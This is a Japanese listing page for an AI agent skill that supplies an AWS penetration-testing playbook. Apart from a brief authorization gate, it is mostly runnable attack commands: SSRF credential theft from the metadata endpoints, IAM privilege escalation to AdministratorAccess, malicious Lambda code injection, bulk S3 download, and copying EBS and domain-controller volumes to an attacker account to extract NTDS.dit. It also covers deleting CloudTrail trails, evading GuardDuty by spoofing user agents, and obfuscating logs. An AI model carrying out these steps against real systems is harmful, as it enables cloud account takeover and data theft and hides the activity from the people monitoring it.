mcpField
A
aws-penetration-testing

aws-penetration-testing

github.com/sickn33セキュリティ48.7k551 回インストール今日更新
リポジトリ

aws-penetration-testing について

許可を得た AWS セキュリティ評価や管理された学習環境向けのスキルです。ID、ストレージ、コンピューティング、ログの確認手順を扱い、対象範囲の承認と証跡・変更の保護を求めます。

主な機能

  1. 01AWS IDと権限の確認
  2. 02S3、Lambda、EC2の評価項目
  3. 03権限昇格経路の分析
  4. 04許可範囲の事前確認
  5. 05証跡と変更の保護

活用シーン

  1. 01承認済み評価でのAWS権限確認
  2. 02使い捨てAWSラボでのテスト
  3. 03範囲を限定したクラウド所見の記録
  4. 04セキュリティ担当者との監視検証

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/sickn33/agentic-awesome-skills --skill aws-penetration-testing

インストール後、Claude Code で/aws-penetration-testingを入力して読み込まれたか確認します。

同梱ファイルreferences/advanced-aws-pentesting.md

詳細

翻訳後に原文が更新されています。最新の内容は原文をご確認ください。

⚠️ 許可された使用のみ このスキルは、教育目的または許可されたセキュリティ評価のみに使用してください。 このツールを使用する前に、システム所有者から明示的な書面による許可を得る必要があります。 このツールの悪用は違法であり、固く禁止されています。

必須の確認ゲート ターゲットに対してプローブ、エクスプロイト、変更、永続化、データ抽出、または認証情報へのアクセスを試みるコマンドを実行する前に:

  1. ユーザーに正確なターゲット URL、IP、アカウント、またはリソースを述べるよう求めます。
  2. ユーザーに書面による許可と許可されたスコープを確認するよう求めます。
  3. 正確なコマンドを示し、その期待される効果を説明します。
  4. 現在の会話で明示的な確認を待ちます。

その確認がない場合は、読み取り専用のままとし、防御的なガイダンスのみを提供してください。サンドボックス、使い捨て VM、または管理されたラボを推奨します。

許可された使用のみ: このスキルは、許可されたセキュリティ評価、防御的検証、または管理された教育環境でのみ使用してください。

AWS ペネトレーションテスト

目的

AWS クラウド環境のペネトレーションテストのための包括的な手法を提供します。IAM 列挙、権限昇格、メタデータエンドポイントへの SSRF、S3 バケットの悪用、Lambda コードの抽出、およびレッドチーム運用のための永続化手法を扱います。

入力/前提条件

  • 認証情報が設定された AWS CLI
  • 有効な AWS 認証情報(低権限であっても可)
  • AWS IAM モデルの理解
  • Python 3、boto3 ライブラリ
  • ツール: Pacu、Prowler、ScoutSuite、SkyArk

出力/成果物

  • IAM 権限昇格パス
  • 抽出された認証情報とシークレット
  • 侵害された EC2/Lambda/S3 リソース
  • 永続化メカニズム
  • セキュリティ監査の所見

必須ツール

ツール目的インストール
PacuAWS エクスプロイトフレームワークgit clone https://github.com/RhinoSecurityLabs/pacu
SkyArkシャドウ管理者の検出Import-Module .\SkyArk.ps1
Prowlerセキュリティ監査pip install prowler
ScoutSuiteマルチクラウド監査pip install scoutsuite
enumerate-iam権限の列挙git clone https://github.com/andresriancho/enumerate-iam
Principal MapperIAM 分析pip install principalmapper

コアワークフロー

ステップ 1: 初期列挙

侵害されたアイデンティティと権限を特定します:

# Check current identity
aws sts get-caller-identity

# Configure profile
aws configure --profile compromised

# List access keys
aws iam list-access-keys

# Enumerate permissions
./enumerate-iam.py --access-key AKIA... --secret-key StF0q...
ステップ 2: IAM 列挙
# List all users
aws iam list-users

# List groups for user
aws iam list-groups-for-user --user-name TARGET_USER

# List attached policies
aws iam list-attached-user-policies --user-name TARGET_USER

# List inline policies
aws iam list-user-policies --user-name TARGET_USER

# Get policy details
aws iam get-policy --policy-arn POLICY_ARN
aws iam get-policy-version --policy-arn POLICY_ARN --version-id v1

# List roles
aws iam list-roles
aws iam list-attached-role-policies --role-name ROLE_NAME
ステップ 3: メタデータ SSRF (EC2)

SSRF を悪用してメタデータエンドポイントにアクセスします(IMDSv1):

# Access metadata endpoint
http://169.254.169.254/latest/meta-data/

# Get IAM role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Extract temporary credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME

# Response contains:
{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "...",
  "Expiration": "2019-08-01T05:20:30Z"
}

IMDSv2 の場合(トークンが必要):

# Get token first
TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
  "http://169.254.169.254/latest/api/token")

# Use token for requests
curl -H "X-aws-ec2-metadata-token:$TOKEN" \
  "http://169.254.169.254/latest/meta-data/iam/security-credentials/"

Fargate コンテナ認証情報:

# Read environment for credential path
/proc/self/environ
# Look for: AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/...

# Access credentials
http://169.254.170.2/v2/credentials/CREDENTIAL-PATH

権限昇格の手法

シャドウ管理者権限

これらの権限は管理者と同等です:

権限悪用方法
iam:CreateAccessKey管理者ユーザーのキーを作成
iam:CreateLoginProfile任意のユーザーのパスワードを設定
iam:AttachUserPolicy自身に管理者ポリシーをアタッチ
iam:PutUserPolicyインライン管理者ポリシーを追加
iam:AddUserToGroup自身を管理者グループに追加
iam:PassRole + ec2:RunInstances管理者ロールで EC2 を起動
lambda:UpdateFunctionCodeLambda にコードを注入
別のユーザーのアクセスキーを作成
aws iam create-access-key --user-name target_user
管理者ポリシーをアタッチ
aws iam attach-user-policy --user-name my_username \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
インライン管理者ポリシーを追加
aws iam put-user-policy --user-name my_username \
  --policy-name admin_policy \
  --policy-document file://admin-policy.json
Lambda 権限昇格
# code.py - Inject into Lambda function
import boto3

def lambda_handler(event, context):
    client = boto3.client('iam')
    response = client.attach_user_policy(
        UserName='my_username',
        PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
    )
    return response
# Update Lambda code
aws lambda update-function-code --function-name target_function \
  --zip-file fileb://malicious.zip

S3 バケットの悪用

バケットの検出
# Using bucket_finder
./bucket_finder.rb wordlist.txt
./bucket_finder.rb --download --region us-east-1 wordlist.txt

# Common bucket URL patterns
https://{bucket-name}.s3.amazonaws.com
https://s3.amazonaws.com/{bucket-name}
バケットの列挙
# List buckets (with creds)
aws s3 ls

# List bucket contents
aws s3 ls s3://bucket-name --recursive

# Download all files
aws s3 sync s3://bucket-name ./local-folder
パブリックバケットの検索
https://buckets.grayhatwarfare.com/

Lambda の悪用

# List Lambda functions
aws lambda list-functions

# Get function code
aws lambda get-function --function-name FUNCTION_NAME
# Download URL provided in response

# Invoke function
aws lambda invoke --function-name FUNCTION_NAME output.txt

SSM コマンド実行

Systems Manager を使用すると、EC2 インスタンス上でコマンドを実行できます:

# List managed instances
aws ssm describe-instance-information

# Execute command
aws ssm send-command --instance-ids "i-0123456789" \
  --document-name "AWS-RunShellScript" \
  --parameters commands="whoami"

# Get command output
aws ssm list-command-invocations --command-id "CMD-ID" \
  --details --query "CommandInvocations[].CommandPlugins[].Output"

EC2 の悪用

EBS ボリュームのマウント
# Create snapshot of target volume
aws ec2 create-snapshot --volume-id vol-xxx --description "Audit"

# Create volume from snapshot
aws ec2 create-volume --snapshot-id snap-xxx --availability-zone us-east-1a

# Attach to attacker instance
aws ec2 attach-volume --volume-id vol-xxx --instance-id i-xxx --device /dev/xvdf

# Mount and access
sudo mkdir /mnt/stolen
sudo mount /dev/xvdf1 /mnt/stolen
シャドウコピー攻撃 (Windows DC)
# CloudCopy technique
# 1. Create snapshot of DC volume
# 2. Share snapshot with attacker account
# 3. Mount in attacker instance
# 4. Extract NTDS.dit and SYSTEM
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local

API キーからのコンソールアクセス

CLI 認証情報をコンソールアクセスに変換します:

git clone https://github.com/NetSPI/aws_consoler
aws_consoler -v -a AKIAXXXXXXXX -s SECRETKEY

# Generates signin URL for console access

痕跡の消去

CloudTrail を無効化する
# Delete trail
aws cloudtrail delete-trail --name trail_name

# Disable global events
aws cloudtrail update-trail --name trail_name \
  --no-include-global-service-events

# Disable specific region
aws cloudtrail update-trail --name trail_name \
  --no-include-global-service-events --no-is-multi-region-trail

注意: Kali/Parrot/Pentoo Linux はユーザーエージェントに基づいて GuardDuty アラートをトリガーします。ユーザーエージェントを変更する Pacu を使用してください。


クイックリファレンス

タスクコマンド
ID を取得aws sts get-caller-identity
ユーザーを一覧表示aws iam list-users
ロールを一覧表示aws iam list-roles
バケットを一覧表示aws s3 ls
EC2 を一覧表示aws ec2 describe-instances
Lambda を一覧表示aws lambda list-functions
メタデータを取得curl http://169.254.169.254/latest/meta-data/

制約事項

必須:

  • テスト前に書面による許可を取得する
  • 監査証跡のためにすべての操作を記録する
  • スコープ内のリソースのみをテストする

禁止:

  • 承認なしに本番データを変更する
  • 文書化せずに永続的なバックドアを残す
  • セキュリティ制御を恒久的に無効化する

推奨:

  • メタデータ攻撃を試みる前に IMDSv2 を確認する
  • 悪用前に徹底的に列挙する
  • 業務終了後にテストリソースをクリーンアップする

例

例 1: SSRF から管理者へ
# 1. Find SSRF vulnerability in web app
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# 2. Get role name from response
# 3. Extract credentials
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole

# 4. Configure AWS CLI with stolen creds
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

# 5. Verify access
aws sts get-caller-identity

トラブルシューティング

問題解決策
すべてのコマンドで Access Deniedenumerate-iam で権限を列挙する
メタデータエンドポイントがブロックされているIMDSv2 を確認し、コンテナメタデータを試す
GuardDuty アラートカスタムユーザーエージェントで Pacu を使用する
認証情報の期限切れメタデータから再取得する(一時認証情報はローテーションされる)
CloudTrail が操作をログに記録する無効化またはログの難読化を検討する

追加リソース

Lambda/API Gateway の悪用、Secrets Manager と KMS、コンテナセキュリティ(ECS/EKS/ECR)、RDS/DynamoDB の悪用、VPC 横移動、セキュリティチェックリストなどの高度なテクニックについては、references/advanced-aws-pentesting.md を参照してください。

使用するタイミング

このスキルは、概要で説明されているワークフローまたはアクションを実行する場合に適用されます。

コメント